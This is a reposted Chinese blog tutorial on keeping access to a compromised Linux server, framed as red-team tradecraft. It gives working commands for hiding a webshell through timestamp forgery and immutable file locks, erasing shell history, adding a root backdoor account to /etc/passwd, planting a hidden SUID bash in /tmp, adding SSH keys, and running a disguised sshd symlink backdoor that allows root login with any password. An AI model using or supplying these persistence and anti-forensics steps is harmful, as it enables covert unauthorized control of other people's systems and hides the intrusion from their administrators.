1. 程式人生 > 其它 >【轉載】Linux許可權維持的二三事

【轉載】Linux許可權維持的二三事

轉載於https://mp.weixin.qq.com/s/6uQxcCyhrRmQyKMd2fsU4A

題記

    這幾天一直在想整理一下滲透小技巧這種文章。看了一些文章突然感覺人家寫的好好,於是決定轉載一下,用的時候自己搜搜看。

0x01 前言

  在我們之前的文庫裡,給大家分享了Windows下隱藏webshell的一些方法,專業術語叫做許可權維持。那麼我們今天來講一下,當我們拿下一臺Linux主機後,做好許可權維持的一些方法與奇技淫巧。希望大家看完本篇文章後多多實踐,消化吸收。

0x02 正文

1 木馬隱藏

在進行攻防演練的時候,藍軍人員會對近期新增加和修改的檔案進行掃描,以及在敏感目錄下檢視是否有被上傳過檔案。因此我們針對這兩種檢測方法,應對的手法就是

修改檔案屬性進行檔案鎖定

修改檔案屬性即修改檔案或者目錄的時間屬性,譬如存取時間或更改時間。

進行檔案鎖定即防止其他使用者刪除,並且在ls -l的時候並不會顯現出來。達到隱藏許可權的目的。

我們接下來看下具體的操作手法:

1.1 修改檔案屬性

  Linux touch命令用於修改檔案或者目錄的時間屬性,包括存取時間和更改時間。若檔案不存在,系統會建立一個新的檔案。修改時間命令:

    touch -r [目標檔案] [木馬檔案]

  此命令作用是將木馬的檔案的時間屬性修改為和目標檔案的時間屬性相同。

1.2 進行檔案鎖定

  在Linux中,chattr命令是用來防止root和其他管理使用者誤刪除和修改重要檔案及目錄。此許可權用ls -l無法檢視

,因此可以達到隱藏許可權的目的。

#鎖定檔案
chattr +i shell.php
#
此時無法刪除檔案
rm -rf shell.php

解除檔案鎖定方法如下:

    #屬性檢視
lsattr shell.php
#
解除鎖定
chattr -i shell.php
#
刪除檔案
rm -rf shell.php

2 歷史記錄隱藏

  在我們在Linux伺服器上執行的命令,是會被Linux主機記錄下來的。一般來說,Linux系統預設會存在history命令。輸入後可以看到這臺主機上歷史執行過的命令。如圖:

  那麼當我們拿到一臺Linux系統後,清楚歷史執行命令的痕跡,對我們來說就是十分重要的一件事。

方法如下:

#隱藏接下來的命令記錄
[space] set +o history

執行此命令後,輸入的命令將不再被history記錄,但是最此命令仍會被記錄。所有我們需要用history命令,找到此命令對應的行號,然後使用如下命刪除此命令。

    #刪除特定歷史命令
history -d [num]

命令刪除後,此Linux主機執行的命令將不被記錄,如果想恢復命令的記錄,使得主機正常執行(不被管理員發現),可輸入如下指令

    [space] set -o history

3 新增後門使用者

在Linux系統中,存在著兩個特殊的檔案/etc/passwd和/etc/shadow。這兩個檔案中儲存著使用者名稱和加密後的密碼。在目前大多數Linux系統中,將加密後的使用者密碼存放在/etc/shadow中。

而這兩個檔案不同的欄位代表著不同的含義:

    #/etc/passwd中各部分含義
使用者名稱:密碼:使用者組ID:身份描述:使用者的家目錄:登入後所使用的SHELL

    #/etc/shadow各部分含義
使用者名稱:加密密碼:最後一次修改時間:最小修改時間間隔:密碼有效期:密碼需要更改前的警告天數:密碼過期後的寬限時間:賬號失效時間:保留欄位。

3.1 新增root許可權後門賬戶

  在知道以上兩個檔案的特性後我們需要明白,當如上兩個檔案被我們寫入新的賬戶資訊後,其實我們就可以通過這個賬戶登入上去。這就是所謂的後門賬戶。

方法一

  如若允許uid=0(即root許可權)的使用者遠端登入,則新增後門賬戶方法如下

#增加超級使用者賬號
echo "[
後門賬戶名]:x:0:0::/:/bin/sh" >> /etc/passwd
passwd [
後門賬戶名]
ssh [
後門賬戶名]@[IP地址]

  此種方法建立的後門賬戶為root許可權賬戶。

方法二

  如果不允許uid=0(即root許可權使用者)進行登入,則我們可以增加一個普通許可權後門使用者的賬號。命令如下

 #新增普通許可權賬戶
echo "[
後門賬戶名]:x:1000:1000::/:/bin/sh" >> /etc/passwd
#
為普通許可權賬戶設定密碼
passwd [
後門賬戶名]
#
遠端連線上普通賬戶
ssh [
賬戶名]@[密碼]

  另外如果當我們遇到非互動式的shell命令列,實際上可以通過管道符構造一行命令進行使用者新增,這個等實際用到直接百度即可,我們這裡主要介紹思路。

4 SUID後門

  SUID實際上可以理解用中國的古語,挾天子劍以令諸侯

  一個檔案,若它的屬主為root,且這個檔案的所屬主的x標誌位為s(即SUID)時候,當執行這個檔案的時候,實際上是以root許可權執行的。如果我們可以執行這個檔案,即可獲取到root許可權。

  我們來建立一個SUID後門

 #root許可權下執行
cp /bin/bash /tmp/.houmen
chmod 4755 /tmp/.houmen

  當我們使用一般使用者執行時,即可獲取到root許可權的/bin/bash管道許可權

  那麼如何檢測Linux系統中存在這樣許可權的檔案呢,我們使用如下命令檢測:

find / -user root -perm /4000 2>/dev/null
find / -perm -u=s -type f 2>/dev/null

5 SSH公私鑰後門

  在我之前的筆記中,我給大家分享過SSH公私鑰連線方法。其實也就是後門連結的方法,思路和命令如下

    ssh-keygen -t rsa //生成公鑰
echo id_rsa.pub >> .ssh/authorized_keys  //
id_rsa.pub內容放到目標.ssh/authorized_keys

6 軟連線後門

  我們可以通過軟連結來建立一個SSH後門,方法非常簡單,命令如下

#判斷此計算機是否可以做軟連結後門,若返回Yes,則說明可以,則進行後續實驗
cat /etc/ssh/sshd_config|grep UsePAM
#
root許可權建立後門
ln -sf /usr/sbin/sshd /usr/local/su;/usr/local/su -oPort=[
後門埠]
#
以普通使用者SSH登入上去,密碼隨意輸入
ssh root@[IP
地址] -p [後門埠]

  此時當藍軍進行程序排查的時候,會發現12345埠執行著su命令,這是比較危險的一件事

  所以我們需要對軟連線的名稱進行修改替換,達到低調隱藏的效果。格式應該如下

    ln -sf /usr/sbin/sshd /tmp/xxxxxx;/tmp/xxxxxx -oPort=[後門埠]

  那麼其中的xxxxxx,就是符合後門條件的檔案,找到這些符合後門條件的檔案的命令如下:

    find /etc/pam.d |xargs grep "pam_rootok" 

  比如出現瞭如下內容,即可說明這些檔案是符合軟連結後門的

  那麼我們就可以設定如下軟連結:

ln -sf /usr/sbin/sshd /tmp/chsh;/tmp/chsh -oPort=23333
ln -sf /usr/sbin/sshd /tmp/chfn;/tmp/chfn -oPort=23334
ln -sf /usr/sbin/sshd /tmp/runuser;/tmp/runuser -oPort=23335

0x03 總結

  SSH的許可權維持方法除此之外還有很多,在此我拋磚引玉,希望大家一起分享更多的這方面更有用的知識。也希望通過這篇文章給大家帶來SSH許可權維持的相關知識。